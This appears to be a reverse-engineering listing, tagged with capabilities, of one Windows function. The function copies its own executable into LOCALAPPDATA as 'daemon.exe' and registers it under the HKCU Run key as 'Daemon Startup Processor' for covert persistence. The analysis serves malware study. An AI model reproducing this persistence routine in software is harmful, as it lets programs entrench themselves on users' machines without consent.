Function at 0x14000145b
Capabilities:
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x398
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rax, [rbp + 0x26f]
mov qword [rbp + 0x2f0], rax
nop
nop
lea rax, str.LOCALAPPDATA
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp + 0x26f]
lea rax, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x26f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x10]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_wchar_t__260___std::filesystem::__cxx11.path__wchar_t_const_____260___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x40]
lea r8, str.daemon.config
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x270]
lea rax, [rbp - 0x20]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x40]
lea r8, str.daemon.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x290]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x290]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x290]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x14000168c
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x10]
mov r8d, 2
mov rcx, rax
call sym.std::filesystem::copy_file_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const__std::filesystem::copy_options_
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x2c0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp + 0x2c0]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::filesystem::rename_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x2c0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, str.Daemon_Startup_Processor
mov qword [rbp + 0x308], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rbp + 0x300], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp + 0x2fc], eax
cmp dword [rbp + 0x2fc], 0
jne 0x14000167c
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rax, qword [rbp - 0x48]
mov rdx, qword [rbp + 0x308]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x300]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp + 0x2fc], eax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001769
add rsp, 0x398
pop rbx
pop rbp
ret